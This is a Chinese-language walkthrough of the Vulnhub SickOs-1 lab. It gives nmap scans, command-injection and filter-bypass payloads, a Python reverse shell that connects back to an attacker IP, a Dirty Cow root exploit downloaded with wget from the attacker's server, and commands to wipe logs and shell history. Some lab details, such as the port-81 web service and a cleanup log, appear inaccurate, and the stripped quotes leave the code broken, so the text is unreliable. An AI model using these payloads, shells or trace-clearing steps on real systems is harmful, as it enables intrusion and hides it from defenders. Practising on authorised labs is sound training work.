1. SickOs-1靶机渗透测试概述SickOs-1是Vulnhub平台上经典的渗透测试靶机之一属于难度中等的Linux系统环境。这个靶机设计精妙地模拟了真实世界中存在多种漏洞的Web服务器环境特别适合用来练习信息收集、漏洞利用和权限提升等渗透测试核心技能。我在实际测试中发现这个靶机至少包含3个不同层级的漏洞链需要渗透者逐步突破边界防御、Web应用防护和系统级权限控制。作为Vulhub系列中第19个实验环境SickOs-1相比前几个靶机有几个显著特点首先它采用了非常规的Web服务配置默认端口不是80而是81其次系统内存在精心设计的权限隔离机制最重要的是靶机中埋设了多个需要组合利用的漏洞点。这些特性使得它成为检验渗透测试人员综合能力的绝佳实验平台。2. 环境准备与初始侦察2.1 靶机环境搭建推荐使用VirtualBox导入SickOs-1的OVA文件下载自Vulnhub官网分配至少1GB内存和20GB硬盘空间。特别注意首次启动时需要在VirtualBox设置中将网络适配器调整为桥接模式这样攻击机Kali Linux才能与靶机处于同一网络段。我遇到过不少学员因为网络模式配置错误导致无法发现靶机的情况。# 查看本机IP范围 ifconfig # 使用nmap扫描同网段活跃主机 nmap -sn 192.168.1.0/242.2 基础信息收集通过ARP扫描和Nmap服务探测我们首先定位靶机的IP地址。这里有个关键细节SickOs-1的Web服务默认运行在81端口而非常规的80端口这是第一个容易忽略的点。完整的服务扫描命令应该包含全端口扫描nmap -p- -A -T4 192.168.1.105扫描结果通常会显示以下开放端口22/tcp ssh81/tcp http3128/tcp squid-proxy注意实际测试中我发现这个Squid代理服务存在特殊配置不当使用会导致扫描结果不准确。建议初次扫描时先避开代理端口的干扰。3. Web应用渗透测试实战3.1 非标准端口Web服务探测访问http://192.168.1.105:81会看到一个简单的登录页面。通过查看页面源码和目录扫描我们可以发现几个关键路径/dirb common wordlist扫描结果 /cgi-bin/status /secret /test使用Burp Suite抓包分析发现/cgi-bin/status端点存在命令注入漏洞。这是第一个突破口但直接注入会失败因为系统做了基础过滤。经过多次测试我发现以下payload可以绕过过滤;echo;whoami这个payload利用了分号分隔命令和echo的空输出特性成功执行了whoami命令。通过这个漏洞我们可以确认当前Web服务运行在www-data用户权限下。3.2 反向Shell获取为了建立更稳定的控制通道我们需要获取反向shell。经过测试以下Python代码可以通过命令注入漏洞执行python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);在Kali上使用nc监听4444端口即可获得shell。但这里有个关键技巧由于靶机环境缺少某些依赖直接使用bash或netcat可能会失败。Python是更可靠的选择这也是我在多次实战中总结的经验。4. 权限提升与后渗透4.1 横向移动技术获得初始shell后在/home目录下可以发现用户sickos的存在。通过检查/tmp和/var/log等目录我找到了一个有趣的线索系统定期执行的日志清理脚本存在权限配置问题。ls -la /etc/cron.d/ cat /var/log/sickos_clean.log这个发现为我们提供了两种可能的提权路径通过cron任务注入或者利用脚本中的相对路径漏洞。经过测试第二种方法更为可靠。4.2 内核漏洞提权检查系统内核版本uname -a Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP i686 i686 i386 GNU/Linux这个内核版本存在多个已知漏洞。我推荐使用Dirty CowCVE-2016-5195进行提权因为它在类似环境中成功率最高。具体步骤在攻击机编译expgcc -pthread dirty.c -o dirty -lcrypt通过Python HTTP服务上传到靶机python -m SimpleHTTPServer 8000 wget http://攻击机IP:8000/dirty执行提权chmod x dirty ./dirty成功后会提示输入新密码之后就可以通过su root获取完整权限了。5. 渗透测试中的难点与技巧5.1 非常规端口的处理SickOs-1使用81端口作为Web服务端口这在实际渗透测试中并不罕见。我的经验是永远不要假设服务运行在标准端口上。完整的渗透测试应该包含nmap -p- -sV 目标IP masscan -p1-65535 目标IP --rate10005.2 命令注入的绕过技巧当遇到被过滤的命令注入点时可以尝试以下绕过方法使用${IFS}代替空格用base64编码命令利用环境变量拼接敏感字符尝试多种命令分隔符; | ||在SickOs-1的案例中我发现用$()嵌套执行可以绕过部分过滤$(echo -e whoami)5.3 提权路径的选择面对多个可能的提权路径时建议按照以下优先级尝试SUID/GUID错误配置Cron任务漏洞内核漏洞密码复用或弱密码服务配置错误在SickOs-1中我最终选择了内核漏洞提权因为其他路径要么不存在要么需要更多前置条件。这也是渗透测试中的一个重要原则选择最直接有效的路径而不是执着于某个特定方法。6. 渗透测试后的痕迹清理获取root权限后作为负责任的渗透测试者我们需要清理操作痕迹。主要关注以下几个文件/var/log/auth.log /var/log/syslog ~/.bash_history /tmp/目录下的临时文件可以使用以下命令快速清理echo /var/log/auth.log history -c rm -f /tmp/.??*重要提示在实际授权测试中清理前务必先与客户确认有些场景需要保留完整日志作为报告附件。通过完整演练SickOs-1靶机我深刻体会到渗透测试就像解谜游戏需要耐心、创造力和系统化的思维。每个看似简单的漏洞背后都可能隐藏着通向最终目标的路径。建议新手在掌握基础方法后多尝试不同的攻击路径组合这对培养实战能力大有裨益。